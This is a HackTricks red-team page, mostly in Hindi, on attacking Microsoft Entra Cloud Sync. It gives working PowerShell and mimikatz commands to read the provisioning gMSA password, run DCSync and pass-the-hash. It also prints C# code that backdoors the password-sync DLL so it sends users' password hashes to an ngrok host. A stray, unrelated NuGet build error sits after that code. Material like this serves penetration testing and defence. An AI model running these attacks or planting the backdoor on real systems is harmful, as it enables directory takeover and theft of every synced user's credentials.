Az - Cloud Sync

Reading time: 10 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

Basic Information

Cloud Sync मूल रूप से Azure का नया तरीका है AD से Entra ID में उपयोगकर्ताओं को समन्वयित करने के लिए

From the docs: Microsoft Entra Cloud Sync Microsoft द्वारा एक नई पेशकश है जो उपयोगकर्ताओं, समूहों और संपर्कों को Microsoft Entra ID में समन्वयित करने के लिए आपके हाइब्रिड पहचान लक्ष्यों को पूरा करने और हासिल करने के लिए डिज़ाइन की गई है। यह Microsoft Entra Connect एप्लिकेशन के बजाय Microsoft Entra क्लाउड प्रोविजनिंग एजेंट का उपयोग करके इसे पूरा करता है। हालाँकि, इसे Microsoft Entra Connect Sync के साथ भी उपयोग किया जा सकता है।

Principals Generated

इसका काम करने के लिए कुछ प्रिंसिपल Entra ID और On-Premise डायरेक्टरी में बनाए जाते हैं:

  • Entra ID में उपयोगकर्ता On-Premises Directory Synchronization Service Account (ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com) को Directory Synchronization Accounts (d29b2b05-8046-44ba-8758-1e26182fcf32) भूमिका के साथ बनाया जाता है।

warning

इस भूमिका के पास पहले बहुत सारे विशेषाधिकार थे और इसका उपयोग विशेषाधिकारों को वैश्विक व्यवस्थापक तक बढ़ाने के लिए किया जा सकता था। हालाँकि, Microsoft ने इस भूमिका के सभी विशेषाधिकारों को हटाने और इसे केवल एक नए microsoft.directory/onPremisesSynchronization/standard/read के साथ असाइन करने का निर्णय लिया है, जो वास्तव में किसी भी विशेषाधिकार कार्रवाई (जैसे उपयोगकर्ता का पासवर्ड या विशेषताओं को संशोधित करना या SP में एक नई क्रेडेंशियल जोड़ना) करने की अनुमति नहीं देता है।

  • Entra ID में समूह AAD DC Administrators बिना सदस्यों या मालिकों के बनाया जाता है। यह समूह उपयोगी है यदि Microsoft Entra Domain Services का उपयोग किया जाता है।

  • AD में, या तो सेवा खाता provAgentgMSA एक SamAcountName के साथ बनाया जाता है जैसे pGMSA_<id>$@domain.com (Get-ADServiceAccount -Filter * | Select Name,SamAccountName), या एक कस्टम खाता इन अनुमतियों की आवश्यकता है। आमतौर पर डिफ़ॉल्ट खाता बनाया जाता है।

warning

अन्य अनुमतियों के बीच, सेवा खाता provAgentgMSA के पास DCSync अनुमतियाँ हैं, जो किसी भी व्यक्ति को जो इसे समझौता करता है, पूरे डायरेक्टरी को समझौता करने की अनुमति देती हैं। DCSync के बारे में अधिक जानकारी के लिए यहाँ देखें

note

डिफ़ॉल्ट रूप से, ज्ञात विशेषाधिकार समूहों जैसे डोमेन व्यवस्थापकों के उपयोगकर्ता जिनका विशेषता adminCount 1 है, Entra ID के साथ समन्वयित नहीं होते सुरक्षा कारणों से। हालाँकि, अन्य उपयोगकर्ता जो इस विशेषता के बिना विशेषाधिकार समूहों का हिस्सा हैं या जिन्हें सीधे उच्च विशेषाधिकार सौंपे गए हैं समन्वयित किए जा सकते हैं

Password Sychronization

यह अनुभाग बहुत समान है:

Az - Connect Sync

  • पासवर्ड हैश समन्वयन सक्षम किया जा सकता है ताकि उपयोगकर्ता AD से अपने पासवर्ड का उपयोग करके Entra ID में लॉगिन कर सकें। इसके अलावा, जब भी AD में पासवर्ड संशोधित किया जाता है, यह Entra ID में अपडेट हो जाएगा।
  • पासवर्ड राइटबैक को भी सक्षम किया जा सकता है, जिससे उपयोगकर्ता अपने पासवर्ड को Entra ID में संशोधित कर सकते हैं, जो स्वचालित रूप से उनके पासवर्ड को ऑन-प्रिमाइस डोमेन में समन्वयित करता है। लेकिन वर्तमान दस्तावेज़ों के अनुसार, इसके लिए Connect Agent का उपयोग करना आवश्यक है, इसलिए अधिक जानकारी के लिए Az Connect Sync अनुभाग पर नज़र डालें।
  • समूह राइटबैक: यह सुविधा Entra ID से समूह सदस्यताओं को ऑन-प्रिमाइस AD में वापस समन्वयित करने की अनुमति देती है। इसका मतलब है कि यदि किसी उपयोगकर्ता को Entra ID में एक समूह में जोड़ा जाता है, तो उन्हें AD में संबंधित समूह में भी जोड़ा जाएगा।

Pivoting

AD --> Entra ID

  • यदि AD उपयोगकर्ताओं को AD से Entra ID में समन्वयित किया जा रहा है, तो AD से Entra ID में पिवट करना सीधा है, बस किसी उपयोगकर्ता का पासवर्ड समझौता करें या किसी उपयोगकर्ता का पासवर्ड बदलें या एक नया उपयोगकर्ता बनाएं और जब तक यह Entra ID डायरेक्टरी में समन्वयित नहीं हो जाता (आमतौर पर केवल कुछ मिनट)

तो आप उदाहरण के लिए

  • provAgentgMSA खाता समझौता करें, DCSync हमले का प्रदर्शन करें, किसी उपयोगकर्ता का पासवर्ड क्रैक करें और फिर इसका उपयोग Entra ID में लॉगिन करने के लिए करें।
  • बस AD में एक नया उपयोगकर्ता बनाएं, जब तक यह Entra ID में समन्वयित नहीं हो जाता और फिर इसका उपयोग Entra ID में लॉगिन करने के लिए करें।
  • AD में किसी उपयोगकर्ता का पासवर्ड संशोधित करें, जब तक यह Entra ID में समन्वयित नहीं हो जाता और फिर इसका उपयोग Entra ID में लॉगिन करने के लिए करें।

provAgentgMSA क्रेडेंशियल्स को समझौता करने के लिए:

powershell
# Enumerate provAgentgMSA account
Get-ADServiceAccount -Filter * -Server domain.local
# Find who can read the password of the gMSA (usually only the DC computer account)
Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties * -Server domain.local | selectPrincipalsAllowedToRetrieveManagedPassword

# You need to perform a PTH with the hash of the DC computer account next. For example using mimikatz:
lsadump::dcsync /domain:domain.local /user:<dc-name>$
sekurlsa::pth /user:<dc-name>$ /domain:domain.local /ntlm:<hash> /run:"cmd.exe"

# Or you can change who can read the password of the gMSA account to all domain admins for example:
Set-ADServiceAccount -Identity 'pGMSA_<id>$' -PrincipalsAllowedToRetrieveManagedPassword 'Domain Admins'

# Read the password of the gMSA
$Passwordblob = (Get-ADServiceAccount -Identity pGMSA_<id>$ -Properties msDS-ManagedPassword -server domain.local).'msDS-ManagedPassword'

#Install-Module -Name DSInternals
#Import-Module DSInternals
$decodedpwd = ConvertFrom-ADManagedPasswordBlob $Passwordblob
ConvertTo-NTHash -Password $decodedpwd.SecureCurrentPassword

अब आप gMSA के हैश का उपयोग करके provAgentgMSA खाते के खिलाफ Entra ID के खिलाफ Pass-the-Hash हमले को अंजाम दे सकते हैं और AD के खिलाफ DCSync हमले करने के लिए स्थिरता बनाए रख सकते हैं।

Active Directory को समझौता करने के तरीके के बारे में अधिक जानकारी के लिए देखें:

Active Directory Methodology - HackTricks

note

ध्यान दें कि Azure या EntraID भूमिकाएँ सिंक किए गए उपयोगकर्ताओं को उनके गुणों के आधार पर देने का कोई तरीका नहीं है, उदाहरण के लिए Cloud Sync कॉन्फ़िगरेशन में। हालाँकि, सिंक किए गए उपयोगकर्ताओं को स्वचालित रूप से अनुमतियाँ देने के लिए कुछ AD से Entra ID समूहों को अनुमतियाँ दी जा सकती हैं ताकि उन समूहों के अंदर सिंक किए गए उपयोगकर्ताओं को भी उन्हें प्राप्त हो सके या गतिशील समूहों का उपयोग किया जा सकता है, इसलिए हमेशा गतिशील नियमों और उन्हें दुरुपयोग करने के संभावित तरीकों की जांच करें:

Az - Dynamic Groups Privesc

स्थिरता के संबंध में यह ब्लॉग पोस्ट सुझाव देती है कि dnSpy का उपयोग करके Microsoft.Online.Passwordsynchronisation.dll को बैकडोर करना संभव है जो C:\Program Files\Microsoft Azure AD Sync\Bin में स्थित है और जिसका उपयोग Cloud Sync एजेंट द्वारा पासवर्ड समन्वयन करने के लिए किया जाता है, जिससे यह उपयोगकर्ताओं के पासवर्ड हैश को एक दूरस्थ सर्वर पर एक्सफिल्ट्रेट करता है। हैश PasswordHashGenerator वर्ग के अंदर उत्पन्न होते हैं और ब्लॉग पोस्ट सुझाव देता है कि कुछ कोड जोड़ा जाए ताकि वर्ग इस तरह दिखे (ध्यान दें use System.Net और पासवर्ड हैश को एक्सफिल्ट्रेट करने के लिए WebClient का उपयोग):

csharp
using System;
using System.Net;
using Microsoft.Online.PasswordSynchronization.DirectoryReplicationServices;

namespace Microsoft.Online.PasswordSynchronization
{
// Token: 0x0200003E RID: 62
public class PasswordHashGenerator : ClearPasswordHashGenerator
{
// Token: 0x06000190 RID: 400 RVA: 0x00006DFC File Offset: 0x00004FFC
public override PasswordHashData CreatePasswordHash(ChangeObject changeObject)
{
PasswordHashData passwordHashData = base.CreatePasswordHash(changeObject);
try
{
using (WebClient webClient = new WebClient())
{
webClient.DownloadString("https://786a39c7cb68.ngrok-free.app?u=" + changeObject.DistinguishedName + "&p=" + passwordHashData.Hash);
}
}
catch (Exception)
{
}
return new PasswordHashData
{
Hash = OrgIdHashGenerator.Generate(passwordHashData.Hash),
RawHash = passwordHashData.RawHash
};
}
}
}

NuGet Package restore failed for project AzTokenFinder: Unable to find version '4.3.2' of package 'System.Security.Cryptography.X509Certificates'. C:\Program Files (x86)\Microsoft SDKs\NuGetPackages: Package 'System.Security.Cryptography.X509Certificates.4.3.2' is not found on source 'C:\Program Files (x86)\Microsoft SDKs\NuGetPackages'. . Please see Error List window for detailed warnings and errors.

Entra ID --> AD

  • यदि Password Writeback सक्षम है, तो आप Entra ID से कुछ उपयोगकर्ताओं का पासवर्ड संशोधित कर सकते हैं और यदि आपके पास AD नेटवर्क तक पहुंच है, तो उनके माध्यम से कनेक्ट करें। अधिक जानकारी के लिए Az Connect Sync section अनुभाग देखें क्योंकि पासवर्ड राइटबैक उस एजेंट का उपयोग करके कॉन्फ़िगर किया गया है।

  • इस समय Cloud Sync भी "Microsoft Entra ID to AD" की अनुमति देता है, लेकिन बहुत समय बाद मैंने पाया कि यह EntraID उपयोगकर्ताओं को AD में समन्वयित नहीं कर सकता और यह केवल उन EntraID उपयोगकर्ताओं को समन्वयित कर सकता है जो पासवर्ड हैश के साथ समन्वयित किए गए थे और उसी डोमेन वन के डोमेन से आते हैं जिसमें हम समन्वयित कर रहे हैं जैसा कि आप पढ़ सकते हैं https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits:

  • ये समूह केवल ऑन-प्रिमाइसेस समन्वयित उपयोगकर्ताओं और / या अतिरिक्त क्लाउड द्वारा बनाए गए सुरक्षा समूहों को शामिल कर सकते हैं।
  • ऑन-प्रिमाइसेस उपयोगकर्ता खाते जो समन्वयित हैं और इस क्लाउड द्वारा बनाए गए सुरक्षा समूह के सदस्य हैं, वे उसी डोमेन या क्रॉस-डोमेन से हो सकते हैं, लेकिन वे सभी एक ही वन से होने चाहिए।

इसलिए इस सेवा की हमले की सतह (और उपयोगिता) काफी कम हो जाती है क्योंकि एक हमलावर को उन उपयोगकर्ताओं को समन्वयित करने के लिए प्रारंभिक AD से समझौता करना होगा ताकि दूसरे डोमेन में एक उपयोगकर्ता से समझौता किया जा सके (और दोनों को स्पष्ट रूप से एक ही वन में होना चाहिए)।

Enumeration

bash
# Check for the gMSA SA
Get-ADServiceAccount -Filter "ObjectClass -like 'msDS-GroupManagedServiceAccount'"

# Get all the configured cloud sync agents (usually one per on-premise domain)
## In the machine name of each you can infer the name of the domain
az rest \
--method GET \
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
--headers "Content-Type=application/json"

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें